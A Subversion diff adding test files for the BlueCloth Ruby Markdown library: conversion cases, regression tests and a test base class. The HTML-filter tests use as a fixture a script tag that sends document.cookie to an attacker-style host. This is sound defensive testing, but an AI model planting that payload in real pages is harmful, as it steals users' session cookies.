+<pre><code>some.code > some.other_code
+</code></pre>
+
+<p>Some stuff.</p>
+>>>
+
+# Colon with preceeding space
+<<<
+A regular paragraph, without a colon. :
+
+ This is a code block.
+
+Some stuff.
+--- Should become:
+<p>A regular paragraph, without a colon. :</p>
+
+<pre><code>This is a code block.
+</code></pre>
+
+<p>Some stuff.</p>
+>>>
+
+# Single colon
+<<<
+:
+
+ some.code > some.other_code
+
+Some stuff.
+--- Should become:
+<p>:</p>
+
+<pre><code>some.code > some.other_code
+</code></pre>
+
+<p>Some stuff.</p>
+>>>
+
+# Preserve leading whitespace (Bug #541)
+<<<
+Examples:
+
+ # (Waste character because first line is flush left !!!)
+ # Example script1
+ x = 1
+ x += 1
+ puts x
+
+Some stuff.
+--- Should become:
+<p>Examples:</p>
+
+<pre><code> # (Waste character because first line is flush left !!!)
+ # Example script1
+ x = 1
+ x += 1
+ puts x
+</code></pre>
+
+<p>Some stuff.</p>
+>>>
+
+
+### [Horizontal Rules]
+
+# Hrule 1
+<<<
+* * *
+--- Should become:
+<hr/>
+>>>
+
+# Hrule 2
+<<<
+***
+--- Should become:
+<hr/>
+>>>
+
+# Hrule 3
+<<<
+*****
+--- Should become:
+<hr/>
+>>>
+
+# Hrule 4
+<<<
+- - -
+--- Should become:
+<hr/>
+>>>
+
+# Hrule 5
+<<<
+---------------------------------------
+--- Should become:
+<hr/>
+>>>
+
+
+### [Titles]
+
+# setext-style h1
+<<<
+Title Text
+=
+--- Should become:
+<h1>Title Text</h1>
+>>>
+
+<<<
+Title Text
+===
+--- Should become:
+<h1>Title Text</h1>
+>>>
+
+<<<
+Title Text
+==========
+--- Should become:
+<h1>Title Text</h1>
+>>>
+
+# setext-style h2
+<<<
+Title Text
+-
+--- Should become:
+<h2>Title Text</h2>
+>>>
+
+<<<
+Title Text
+---
+--- Should become:
+<h2>Title Text</h2>
+>>>
+
+<<<
+Title Text
+----------
+--- Should become:
+<h2>Title Text</h2>
+>>>
+
+# ATX-style h1
+<<<
+# Title Text
+--- Should become:
+<h1>Title Text</h1>
+>>>
+
+<<<
+# Title Text #
+--- Should become:
+<h1>Title Text</h1>
+>>>
+
+<<<
+# Title Text ###
+--- Should become:
+<h1>Title Text</h1>
+>>>
+
+<<<
+# Title Text #####
+--- Should become:
+<h1>Title Text</h1>
+>>>
+
+# ATX-style h2
+<<<
+## Title Text
+--- Should become:
+<h2>Title Text</h2>
+>>>
+
+<<<
+## Title Text #
+--- Should become:
+<h2>Title Text</h2>
+>>>
+
+<<<
+## Title Text ###
+--- Should become:
+<h2>Title Text</h2>
+>>>
+
+<<<
+## Title Text #####
+--- Should become:
+<h2>Title Text</h2>
+>>>
+
+# ATX-style h3
+<<<
+### Title Text
+--- Should become:
+<h3>Title Text</h3>
+>>>
+
+<<<
+### Title Text #
+--- Should become:
+<h3>Title Text</h3>
+>>>
+
+<<<
+### Title Text ###
+--- Should become:
+<h3>Title Text</h3>
+>>>
+
+<<<
+### Title Text #####
+--- Should become:
+<h3>Title Text</h3>
+>>>
+
+# ATX-style h4
+<<<
+#### Title Text
+--- Should become:
+<h4>Title Text</h4>
+>>>
+
+<<<
+#### Title Text #
+--- Should become:
+<h4>Title Text</h4>
+>>>
+
+<<<
+#### Title Text ###
+--- Should become:
+<h4>Title Text</h4>
+>>>
+
+<<<
+#### Title Text #####
+--- Should become:
+<h4>Title Text</h4>
+>>>
+
+# ATX-style h5
+<<<
+##### Title Text
+--- Should become:
+<h5>Title Text</h5>
+>>>
+
+<<<
+##### Title Text #
+--- Should become:
+<h5>Title Text</h5>
+>>>
+
+<<<
+##### Title Text ###
+--- Should become:
+<h5>Title Text</h5>
+>>>
+
+<<<
+##### Title Text #####
+--- Should become:
+<h5>Title Text</h5>
+>>>
+
+# ATX-style h6
+<<<
+###### Title Text
+--- Should become:
+<h6>Title Text</h6>
+>>>
+
+<<<
+###### Title Text #
+--- Should become:
+<h6>Title Text</h6>
+>>>
+
+<<<
+###### Title Text ###
+--- Should become:
+<h6>Title Text</h6>
+>>>
+
+<<<
+###### Title Text #####
+--- Should become:
+<h6>Title Text</h6>
+>>>
+
+
+### [Blockquotes]
+
+# Regular 1-level blockquotes
+<<<
+> Email-style angle brackets
+> are used for blockquotes.
+--- Should become:
+<blockquote>
+ <p>Email-style angle brackets
+ are used for blockquotes.</p>
+</blockquote>
+>>>
+
+# Doubled blockquotes
+<<<
+> > And, they can be nested.
+--- Should become:
+<blockquote>
+ <blockquote>
+ <p>And, they can be nested.</p>
+ </blockquote>
+</blockquote>
+>>>
+
+# Nested blockquotes
+<<<
+> Email-style angle brackets
+> are used for blockquotes.
+
+> > And, they can be nested.
+--- Should become:
+<blockquote>
+ <p>Email-style angle brackets
+ are used for blockquotes.</p>
+
+ <blockquote>
+ <p>And, they can be nested.</p>
+ </blockquote>
+</blockquote>
+>>>
+
+# Lazy blockquotes
+<<<
+> This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet,
+consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.
+Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.
+
+> Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse
+id sem consectetuer libero luctus adipiscing.
+--- Should become:
+<blockquote>
+ <p>This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet,
+ consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.
+ Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.</p>
+
+ <p>Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse
+ id sem consectetuer libero luctus adipiscing.</p>
+</blockquote>
+>>>
+
+
+# Blockquotes containing other markdown elements
+<<<
+> ## This is a header.
+>
+> 1. This is the first list item.
+> 2. This is the second list item.
+>
+> Here's some example code:
+>
+> return shell_exec("echo $input | $markdown_script");
+--- Should become:
+<blockquote>
+ <h2>This is a header.</h2>
+
+ <ol>
+ <li>This is the first list item.</li>
+ <li>This is the second list item.</li>
+ </ol>
+
+ <p>Here's some example code:</p>
+
+<pre><code>return shell_exec("echo $input | $markdown_script");
+</code></pre>
+</blockquote>
+>>>
+
+# Blockquotes with a <pre> section
+<<<
+> The best approximation of the problem is the following code:
+>
+> <pre>
+> foo + bar; foo.factorize; foo.display
+> </pre>
+>
+> This should result in an error on any little-endian platform.
+--- Should become:
+<blockquote>
+ <p>The best approximation of the problem is the following code:</p>
+
+<pre>
+foo + bar; foo.factorize; foo.display
+</pre>
+
+ <p>This should result in an error on any little-endian platform.</p>
+</blockquote>
+>>>
+
+
+
+### [Images]
+
+# Inline image with title
+<<<
+
+--- Should become:
+<p><img src="/path/img.jpg" alt="alt text" title="Title"/></p>
+>>>
+
+# Inline image with title (single-quotes)
+<<<
+
+--- Should become:
+<p><img src="/path/img.jpg" alt="alt text" title="Title"/></p>
+>>>
+
+# Inline image with title (with embedded quotes)
+<<<
+
+--- Should become:
+<p><img src="/path/img.jpg" alt="alt text" title="The "Title" Image"/></p>
+>>>
+
+# Inline image without title
+<<<
+
+--- Should become:
+<p><img src="/path/img.jpg" alt="alt text"/></p>
+>>>
+
+# Inline image with quoted alt text
+<<<
+
+--- Should become:
+<p><img src="/path/img.jpg" alt="the "alt text""/></p>
+>>>
+
+
+# Reference image
+<<<
+![alt text][id]
+
+[id]: /url/to/img.jpg "Title"
+--- Should become:
+<p><img src="/url/to/img.jpg" alt="alt text" title="Title"/></p>
+>>>
+
+
+
+### [Emphasis]
+
+# Emphasis (<em>) with asterisks
+<<<
+Use *single splats* for emphasis.
+--- Should become:
+<p>Use <em>single splats</em> for emphasis.</p>
+>>>
+
+# Emphasis (<em>) with underscores
+<<<
+Use *underscores* for emphasis.
+--- Should become:
+<p>Use <em>underscores</em> for emphasis.</p>
+>>>
+
+# Strong emphasis (<strong>) with asterisks
+<<<
+Use **double splats** for more emphasis.
+--- Should become:
+<p>Use <strong>double splats</strong> for more emphasis.</p>
+>>>
+
+# Strong emphasis (<strong>) with underscores
+<<<
+Use __doubled underscores__ for more emphasis.
+--- Should become:
+<p>Use <strong>doubled underscores</strong> for more emphasis.</p>
+>>>
+
+# Combined emphasis types 1
+<<<
+Use *single splats* or _single unders_ for normal emphasis.
+--- Should become:
+<p>Use <em>single splats</em> or <em>single unders</em> for normal emphasis.</p>
+>>>
+
+# Combined emphasis types 2
+<<<
+Use _single unders_ for normal emphasis
+or __double them__ for strong emphasis.
+--- Should become:
+<p>Use <em>single unders</em> for normal emphasis
+or <strong>double them</strong> for strong emphasis.</p>
+>>>
+
+# Emphasis containing escaped metachars
+<<<
+You can include literal *\*splats\** by escaping them.
+--- Should become:
+<p>You can include literal <em>*splats*</em> by escaping them.</p>
+>>>
+
+# Two instances of asterisked emphasis on one line
+<<<
+If there's *two* splatted parts on a *single line* it should still work.
+--- Should become:
+<p>If there's <em>two</em> splatted parts on a <em>single line</em> it should still work.</p>
+>>>
+
+# Two instances of double asterisked emphasis on one line
+<<<
+This **doubled** one should **work too**.
+--- Should become:
+<p>This <strong>doubled</strong> one should <strong>work too</strong>.</p>
+>>>
+
+# Two instances of underscore emphasis on one line
+<<<
+If there's _two_ underbarred parts on a _single line_ it should still work.
+--- Should become:
+<p>If there's <em>two</em> underbarred parts on a <em>single line</em> it should still work.</p>
+>>>
+
+# Two instances of doubled underscore emphasis on one line
+<<<
+This __doubled__ one should __work too__.
+--- Should become:
+<p>This <strong>doubled</strong> one should <strong>work too</strong>.</p>
+>>>
+
+# Initial emphasis (asterisk)
+<<<
+*Something* like this should be bold.
+--- Should become:
+<p><em>Something</em> like this should be bold.</p>
+>>>
+
+# Initial emphasis (underscore)
+<<<
+_Something_ like this should be bold.
+--- Should become:
+<p><em>Something</em> like this should be bold.</p>
+>>>
+
+# Initial strong emphasis (asterisk)
+<<<
+**Something** like this should be bold.
+--- Should become:
+<p><strong>Something</strong> like this should be bold.</p>
+>>>
+
+# Initial strong emphasis (underscore)
+<<<
+__Something__ like this should be bold.
+--- Should become:
+<p><strong>Something</strong> like this should be bold.</p>
+>>>
+
+# Partial-word emphasis (Bug #568)
+<<<
+**E**xtended **TURN**
+--- Should become:
+<p><strong>E</strong>xtended <strong>TURN</strong></p>
+>>>
+
+
+
+### [Links]
+
+# Inline link, no title
+<<<
+An [example](http://url.com/).
+--- Should become:
+<p>An <a href="http://url.com/">example</a>.</p>
+>>>
+
+# Inline link with title
+<<<
+An [example](http://url.com/ "Check out url.com!").
+--- Should become:
+<p>An <a href="http://url.com/" title="Check out url.com!">example</a>.</p>
+>>>
+
+# Reference-style link, no title
+<<<
+An [example][ex] reference-style link.
+
+[ex]: http://www.bluefi.com/
+--- Should become:
+<p>An <a href="http://www.bluefi.com/">example</a> reference-style link.</p>
+>>>
+
+# Reference-style link with quoted title
+<<<
+An [example][ex] reference-style link.
+
+[ex]: http://www.bluefi.com/ "Check out our air."
+--- Should become:
+<p>An <a href="http://www.bluefi.com/" title="Check out our air.">example</a> reference-style link.</p>
+>>>
+
+# Reference-style link with paren title
+<<<
+An [example][ex] reference-style link.
+
+[ex]: http://www.bluefi.com/ (Check out our air.)
+--- Should become:
+<p>An <a href="http://www.bluefi.com/" title="Check out our air.">example</a> reference-style link.</p>
+>>>
+
+# Reference-style link with one of each (hehe)
+<<<
+An [example][ex] reference-style link.
+
+[ex]: http://www.bluefi.com/ "Check out our air.)
+--- Should become:
+<p>An <a href="http://www.bluefi.com/" title="Check out our air.">example</a> reference-style link.</p>
+>>>
+
+" <- For syntax highlighting
+
+# Reference-style link with intervening space
+<<<
+You can split the [linked part] [ex] from
+the reference part with a single space.
+
+[ex]: http://www.treefrog.com/ "for some reason"
+--- Should become:
+<p>You can split the <a href="http://www.treefrog.com/" title="for some reason">linked part</a> from
+the reference part with a single space.</p>
+>>>
+
+# Reference-style link with intervening space
+<<<
+You can split the [linked part]
+ [ex] from the reference part
+with a newline in case your editor wraps it there, I guess.
+
+[ex]: http://www.treefrog.com/
+--- Should become:
+<p>You can split the <a href="http://www.treefrog.com/">linked part</a> from the reference part
+with a newline in case your editor wraps it there, I guess.</p>
+>>>
+
+# Reference-style anchors
+<<<
+I get 10 times more traffic from [Google] [1] than from
+[Yahoo] [2] or [MSN] [3].
+
+ [1]: http://google.com/ "Google"
+ [2]: http://search.yahoo.com/ "Yahoo Search"
+ [3]: http://search.msn.com/ "MSN Search"
+--- Should become:
+<p>I get 10 times more traffic from <a href="http://google.com/" title="Google">Google</a> than from
+<a href="http://search.yahoo.com/" title="Yahoo Search">Yahoo</a> or <a href="http://search.msn.com/" title="MSN Search">MSN</a>.</p>
+>>>
+
+# Implicit name-link shortcut anchors
+<<<
+I get 10 times more traffic from [Google][] than from
+[Yahoo][] or [MSN][].
+
+ [google]: http://google.com/ "Google"
+ [yahoo]: http://search.yahoo.com/ "Yahoo Search"
+ [msn]: http://search.msn.com/ "MSN Search"
+--- Should become:
+<p>I get 10 times more traffic from <a href="http://google.com/" title="Google">Google</a> than from
+<a href="http://search.yahoo.com/" title="Yahoo Search">Yahoo</a> or <a href="http://search.msn.com/" title="MSN Search">MSN</a>.</p>
+>>>
+
+# Inline anchors
+<<<
+I get 10 times more traffic from [Google](http://google.com/ "Google")
+than from [Yahoo](http://search.yahoo.com/ "Yahoo Search") or
+[MSN](http://search.msn.com/ "MSN Search").
+--- Should become:
+<p>I get 10 times more traffic from <a href="http://google.com/" title="Google">Google</a>
+than from <a href="http://search.yahoo.com/" title="Yahoo Search">Yahoo</a> or
+<a href="http://search.msn.com/" title="MSN Search">MSN</a>.</p>
+>>>
+
+# Graceful fail for unclosed brackets (and bug #524)
+<<<
+This is just a [bracket opener; it should fail gracefully.
+--- Should become:
+<p>This is just a [bracket opener; it should fail gracefully.</p>
+>>>
+
+# Unresolved reference-style links (Bug #620)
+<<<
+This is an unresolved [url][1].
+--- Should become:
+<p>This is an unresolved [url][1].</p>
+>>>
+
+
+### [Auto-links]
+
+# Plain HTTP link
+<<<
+This is a reference to <http://www.FaerieMUD.org/>. You should follow it.
+--- Should become:
+<p>This is a reference to <a href="http://www.FaerieMUD.org/">http://www.FaerieMUD.org/</a>. You should follow it.</p>
+>>>
+
+# FTP link
+<<<
+Why not download your very own chandelier from <ftp://ftp.usuc.edu/pub/foof/mir/>?
+--- Should become:
+<p>Why not download your very own chandelier from <a href="ftp://ftp.usuc.edu/pub/foof/mir/">ftp://ftp.usuc.edu/pub/foof/mir/</a>?</p>
+>>>
+
+
+### [Lists]
+
+# Unordered list
+<<<
+* Red
+* Green
+* Blue
+--- Should become:
+<ul>
+<li>Red</li>
+<li>Green</li>
+<li>Blue</li>
+</ul>
+>>>
+
+# Unordered list w/alt bullets
+<<<
+- Red
+- Green
+- Blue
+--- Should become:
+<ul>
+<li>Red</li>
+<li>Green</li>
+<li>Blue</li>
+</ul>
+>>>
+
+# Unordered list w/alt bullets 2
+<<<
++ Red
++ Green
++ Blue
+--- Should become:
+<ul>
+<li>Red</li>
+<li>Green</li>
+<li>Blue</li>
+</ul>
+>>>
+
+# Unordered list w/mixed bullets
+<<<
++ Red
+- Green
+* Blue
+--- Should become:
+<ul>
+<li>Red</li>
+<li>Green</li>
+<li>Blue</li>
+</ul>
+>>>
+
+# Ordered list
+<<<
+1. Bird
+2. McHale
+3. Parish
+--- Should become:
+<ol>
+<li>Bird</li>
+<li>McHale</li>
+<li>Parish</li>
+</ol>
+>>>
+
+# Ordered list, any numbers
+<<<
+1. Bird
+1. McHale
+1. Parish
+--- Should become:
+<ol>
+<li>Bird</li>
+<li>McHale</li>
+<li>Parish</li>
+</ol>
+>>>
+
+# Ordered list, any numbers 2
+<<<
+3. Bird
+1. McHale
+8. Parish
+--- Should become:
+<ol>
+<li>Bird</li>
+<li>McHale</li>
+<li>Parish</li>
+</ol>
+>>>
+
+# Hanging indents
+<<<
+* Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
+ Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi,
+ viverra nec, fringilla in, laoreet vitae, risus.
+* Donec sit amet nisl. Aliquam semper ipsum sit amet velit.
+ Suspendisse id sem consectetuer libero luctus adipiscing.
+--- Should become:
+<ul>
+<li>Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
+Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi,
+viverra nec, fringilla in, laoreet vitae, risus.</li>
+<li>Donec sit amet nisl. Aliquam semper ipsum sit amet velit.
+Suspendisse id sem consectetuer libero luctus adipiscing.</li>
+</ul>
+>>>
+
+# Lazy indents
+<<<
+* Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
+Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi,
+viverra nec, fringilla in, laoreet vitae, risus.
+* Donec sit amet nisl. Aliquam semper ipsum sit amet velit.
+Suspendisse id sem consectetuer libero luctus adipiscing.
+--- Should become:
+<ul>
+<li>Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
+Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi,
+viverra nec, fringilla in, laoreet vitae, risus.</li>
+<li>Donec sit amet nisl. Aliquam semper ipsum sit amet velit.
+Suspendisse id sem consectetuer libero luctus adipiscing.</li>
+</ul>
+>>>
+
+# Paragraph wrapped list items
+<<<
+* Bird
+
+* Magic
+--- Should become:
+<ul>
+<li><p>Bird</p></li>
+<li><p>Magic</p></li>
+</ul>
+>>>
+
+# Multi-paragraph list items
+<<<
+1. This is a list item with two paragraphs. Lorem ipsum dolor
+ sit amet, consectetuer adipiscing elit. Aliquam hendrerit
+ mi posuere lectus.
+
+ Vestibulum enim wisi, viverra nec, fringilla in, laoreet
+ vitae, risus. Donec sit amet nisl. Aliquam semper ipsum
+ sit amet velit.
+
+2. Suspendisse id sem consectetuer libero luctus adipiscing.
+--- Should become:
+<ol>
+<li><p>This is a list item with two paragraphs. Lorem ipsum dolor
+sit amet, consectetuer adipiscing elit. Aliquam hendrerit
+mi posuere lectus.</p>
+
+<p>Vestibulum enim wisi, viverra nec, fringilla in, laoreet
+vitae, risus. Donec sit amet nisl. Aliquam semper ipsum
+sit amet velit.</p></li>
+<li><p>Suspendisse id sem consectetuer libero luctus adipiscing.</p></li>
+</ol>
+>>>
+
+# Lazy multi-paragraphs
+<<<
+* This is a list item with two paragraphs.
+
+ This is the second paragraph in the list item. You're
+only required to indent the first line. Lorem ipsum dolor
+sit amet, consectetuer adipiscing elit.
+
+* Another item in the same list.
+--- Should become:
+<ul>
+<li><p>This is a list item with two paragraphs.</p>
+
+<p>This is the second paragraph in the list item. You're
+only required to indent the first line. Lorem ipsum dolor
+sit amet, consectetuer adipiscing elit.</p></li>
+<li><p>Another item in the same list.</p></li>
+</ul>
+>>>
+
+# Blockquote in list item
+<<<
+* A list item with a blockquote:
+
+ > This is a blockquote
+ > inside a list item.
+--- Should become:
+<ul>
+<li><p>A list item with a blockquote:</p>
+
+<blockquote>
+ <p>This is a blockquote
+ inside a list item.</p>
+</blockquote></li>
+</ul>
+>>>
+
+# Code block in list item
+<<<
+* A list item with a code block:
+
+ <code goes here>
+--- Should become:
+<ul>
+<li><p>A list item with a code block:</p>
+
+<pre><code><code goes here>
+</code></pre></li>
+</ul>
+>>>
+
+# Backslash-escaped number-period-space
+<<<
+1986\. What a great season.
+--- Should become:
+<p>1986. What a great season.</p>
+>>>
+
Added: packages/libbluecloth-ruby/trunk/tests/10_Bug.tests.rb
===================================================================
--- packages/libbluecloth-ruby/trunk/tests/10_Bug.tests.rb 2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/tests/10_Bug.tests.rb 2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,57 @@
+#!/usr/bin/ruby
+#
+# Unit test for bugs found in BlueCloth
+# $Id: 10_Bug.tests.rb 68 2004-08-25 05:14:37Z ged $
+#
+# Copyright (c) 2004 The FaerieMUD Consortium.
+#
+
+if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
+ basedir = File::dirname( __FILE__ )
+ require File::join( basedir, 'bctestcase' )
+end
+
+
+require 'timeout'
+
+### This test case tests ...
+class BugsTestCase < BlueCloth::TestCase
+ BaseDir = File::dirname( File::dirname(File::expand_path( __FILE__ )) )
+
+ ### Test to be sure the README file can be transformed.
+ def test_00_slow_block_regex
+ contents = File::read( File::join(BaseDir,"README") )
+ bcobj = BlueCloth::new( contents )
+
+ assert_nothing_raised {
+ timeout( 2 ) do
+ bcobj.to_html
+ end
+ }
+ end
+
+ ### :TODO: Add more documents and test their transforms.
+
+ def test_10_regexp_engine_overflow_bug
+ contents = File::read( File::join(BaseDir,"tests/data/re-overflow.txt") )
+ bcobj = BlueCloth::new( contents )
+
+ assert_nothing_raised {
+ bcobj.to_html
+ }
+ end
+
+ def test_15_regexp_engine_overflow_bug2
+ contents = File::read( File::join(BaseDir,"tests/data/re-overflow2.txt") )
+ bcobj = BlueCloth::new( contents )
+
+ assert_nothing_raised {
+ bcobj.to_html
+ }
+ end
+
+end
+
+
+__END__
+
Added: packages/libbluecloth-ruby/trunk/tests/15_Contrib.tests.rb
===================================================================
--- packages/libbluecloth-ruby/trunk/tests/15_Contrib.tests.rb 2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/tests/15_Contrib.tests.rb 2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,132 @@
+#!/usr/bin/ruby
+#
+# Unit test for contributed features
+# $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $
+#
+# Copyright (c) 2004 The FaerieMUD Consortium.
+#
+
+if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
+ basedir = File::dirname( __FILE__ )
+ require File::join( basedir, 'bctestcase' )
+end
+
+
+
+### This test case tests ...
+class ContribTestCase < BlueCloth::TestCase
+
+ DangerousHtml =
+ "<script>document.location='http://www.hacktehplanet.com" +
+ "/cgi-bin/cookie.cgi?' + document.cookie</script>"
+ DangerousHtmlOutput =
+ "<p><script>document.location='http://www.hacktehplanet.com" +
+ "/cgi-bin/cookie.cgi?' + document.cookie</script></p>"
+ DangerousStylesOutput =
+ "<script>document.location='http://www.hacktehplanet.com" +
+ "/cgi-bin/cookie.cgi?' + document.cookie</script>"
+ NoLessThanHtml = "Foo is definitely > than bar"
+ NoLessThanOutput = "<p>Foo is definitely > than bar</p>"
+
+
+ ### HTML filter options contributed by Florian Gross.
+
+ ### Test the :filter_html restriction
+ def test_10_filter_html
+ printTestHeader "filter_html Option"
+ rval = bc = nil
+
+ # Test as a 1st-level param
+ assert_nothing_raised {
+ bc = BlueCloth::new( DangerousHtml, :filter_html )
+ }
+ assert_instance_of BlueCloth, bc
+
+ # Accessors
+ assert_nothing_raised { rval = bc.filter_html }
+ assert_equal true, rval
+ assert_nothing_raised { rval = bc.filter_styles }
+ assert_equal nil, rval
+
+ # Test rendering with filters on
+ assert_nothing_raised { rval = bc.to_html }
+ assert_equal DangerousHtmlOutput, rval
+
+ # Test setting it in a sub-array
+ assert_nothing_raised {
+ bc = BlueCloth::new( DangerousHtml, [:filter_html] )
+ }
+ assert_instance_of BlueCloth, bc
+
+ # Accessors
+ assert_nothing_raised { rval = bc.filter_html }
+ assert_equal true, rval
+ assert_nothing_raised { rval = bc.filter_styles }
+ assert_equal nil, rval
+
+ # Test rendering with filters on
+ assert_nothing_raised { rval = bc.to_html }
+ assert_equal DangerousHtmlOutput, rval
+ end
+
+
+ ### Test the :filter_styles restriction
+ def test_20_filter_styles
+ printTestHeader "filter_styles Option"
+ rval = bc = nil
+
+ # Test as a 1st-level param
+ assert_nothing_raised {
+ bc = BlueCloth::new( DangerousHtml, :filter_styles )
+ }
+ assert_instance_of BlueCloth, bc
+
+ # Accessors
+ assert_nothing_raised { rval = bc.filter_styles }
+ assert_equal true, rval
+ assert_nothing_raised { rval = bc.filter_html }
+ assert_equal nil, rval
+
+ # Test rendering with filters on
+ assert_nothing_raised { rval = bc.to_html }
+ assert_equal DangerousStylesOutput, rval
+
+ # Test setting it in a subarray
+ assert_nothing_raised {
+ bc = BlueCloth::new( DangerousHtml, [:filter_styles] )
+ }
+ assert_instance_of BlueCloth, bc
+
+ # Accessors
+ assert_nothing_raised { rval = bc.filter_styles }
+ assert_equal true, rval
+ assert_nothing_raised { rval = bc.filter_html }
+ assert_equal nil, rval
+
+ # Test rendering with filters on
+ assert_nothing_raised { rval = bc.to_html }
+ assert_equal DangerousStylesOutput, rval
+
+ end
+
+
+ ### Test to be sure filtering when there's no opening angle brackets doesn't
+ ### die.
+ def test_30_filter_no_less_than
+ printTestHeader "filter without a less-than"
+ rval = bc = nil
+
+ # Test as a 1st-level param
+ assert_nothing_raised {
+ bc = BlueCloth::new( NoLessThanHtml, :filter_html )
+ }
+ assert_instance_of BlueCloth, bc
+
+ assert_nothing_raised { rval = bc.to_html }
+ assert_equal NoLessThanOutput, rval
+ end
+
+
+
+end
+
Added: packages/libbluecloth-ruby/trunk/tests/bctestcase.rb
===================================================================
--- packages/libbluecloth-ruby/trunk/tests/bctestcase.rb 2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/tests/bctestcase.rb 2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,274 @@
+#!/usr/bin/ruby
+#
+# This is an abstract test case class for building Test::Unit unit tests for the
+# BlueCloth module. It consolidates most of the maintenance work that must be
+# done to build a test file by adjusting the $LOAD_PATH appropriately, as well
+# as adding some other useful methods that make building, maintaining, and using
+# the tests for programming much easier (IMHO). See the docs for Test::Unit for
+# more info on the particulars of unit testing.
+#
+# == Synopsis
+#
+# # Allow the test to be run from anywhere:
+# if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
+# basedir = File::dirname( __FILE__ )
+# require File::join( basedir, 'bctestcase' )
+# end
+#
+# class MySomethingTest < BlueCloth::TestCase
+# def setup
+# super()
+# @foo = 'bar'
+# end
+#
+# def test_00_something
+# obj = nil
+# assert_nothing_raised { obj = MySomething::new }
+# assert_instance_of MySomething, obj
+# assert_respond_to :myMethod, obj
+# end
+#
+# end
+#
+# == Rcsid
+#
+# $Id: lingtestcase.rb,v 1.3 2003/09/11 05:00:56 deveiant Exp $
+#
+# == Authors
+#
+# * Michael Granger <ged at FaerieMUD.org>
+#
+#:include: COPYRIGHT
+#
+#---
+#
+# Please see the file COPYRIGHT in the 'docs' directory for licensing details.
+#
+
+$DebugPattern ||= nil
+
+begin
+ basedir = File::dirname( File::dirname(__FILE__) )
+ unless $LOAD_PATH.include?( "#{basedir}/lib" )
+ $LOAD_PATH.unshift "#{basedir}/lib"
+ end
+end
+
+require "test/unit"
+require "bluecloth"
+
+
+class BlueCloth
+
+ ### The abstract base class for BlueCloth test cases.
+ class TestCase < Test::Unit::TestCase
+
+ @methodCounter = 0
+ @setupBlocks = []
+ @teardownBlocks = []
+ class << self
+ attr_accessor :methodCounter, :setupBlocks, :teardownBlocks
+ end
+
+
+ ### Inheritance callback -- adds @setupBlocks and @teardownBlocks ivars
+ ### and accessors to the inheriting class.
+ def self::inherited( klass )
+ klass.module_eval {
+ @setupBlocks = []
+ @teardownBlocks = []
+
+ class << self
+ attr_accessor :setupBlocks, :teardownBlocks
+ end
+ }
+ klass.methodCounter = 0
+ end
+
+
+
+ ### Output the specified <tt>msgs</tt> joined together to
+ ### <tt>STDERR</tt> if <tt>$DEBUG</tt> is set.
+ def self::debugMsg( *msgs )
+ return unless $DEBUG
+ self.message "DEBUG>>> %s" % msgs.join('')
+ end
+
+ ### Output the specified <tt>msgs</tt> joined together to
+ ### <tt>STDOUT</tt>.
+ def self::message( *msgs )
+ $stderr.puts msgs.join('')
+ $stderr.flush
+ end
+
+
+ ### Add a setup block for the current testcase
+ def self::addSetupBlock( &block )
+ self.methodCounter += 1
+ newMethodName = "setup_#{self.methodCounter}".intern
+ define_method( newMethodName, &block )
+ self.setupBlocks.push newMethodName
+ end
+
+ ### Add a teardown block for the current testcase
+ def self::addTeardownBlock( &block )
+ self.methodCounter += 1
+ newMethodName = "teardown_#{self.methodCounter}".intern
+ define_method( newMethodName, &block )
+ self.teardownBlocks.unshift newMethodName
+ end
+
+
+ #############################################################
+ ### I N S T A N C E M E T H O D S
+ #############################################################
+
+ ### A dummy test method to allow this Test::Unit::TestCase to be
+ ### subclassed without complaining about the lack of tests.
+ def test_0_dummy
+ end
+
+
+ ### Forward-compatibility method for namechange in Test::Unit
+ def setup( *args )
+ self.class.setupBlocks.each {|sblock|
+ debugMsg "Calling setup block method #{sblock}"
+ self.send( sblock )
+ }
+ super( *args )
+ end
+ alias_method :set_up, :setup
+
+
+ ### Forward-compatibility method for namechange in Test::Unit
+ def teardown( *args )
+ super( *args )
+ self.class.teardownBlocks.each {|tblock|
+ debugMsg "Calling teardown block method #{tblock}"
+ self.send( tblock )
+ }
+ end
+ alias_method :tear_down, :teardown
+
+
+ ### Skip the current step (called from #setup) with the +reason+ given.
+ def skip( reason=nil )
+ if reason
+ msg = "Skipping %s: %s" % [ @method_name, reason ]
+ else
+ msg = "Skipping %s: No reason given." % @method_name
+ end
+
+ $stderr.puts( msg ) if $VERBOSE
+ @method_name = :skipped_test
+ end
+
+
+ def skipped_test # :nodoc:
+ end
+
+
+ ### Add the specified +block+ to the code that gets executed by #setup.
+ def addSetupBlock( &block ); self.class.addSetupBlock( &block ); end
+
+
+ ### Add the specified +block+ to the code that gets executed by #teardown.
+ def addTeardownBlock( &block ); self.class.addTeardownBlock( &block ); end
+
+
+ ### Instance alias for the like-named class method.
+ def message( *msgs )
+ self.class.message( *msgs )
+ end
+
+
+ ### Instance alias for the like-named class method
+ def debugMsg( *msgs )
+ self.class.debugMsg( *msgs )
+ end
+
+
+ ### Output a separator line made up of <tt>length</tt> of the specified
+ ### <tt>char</tt>.
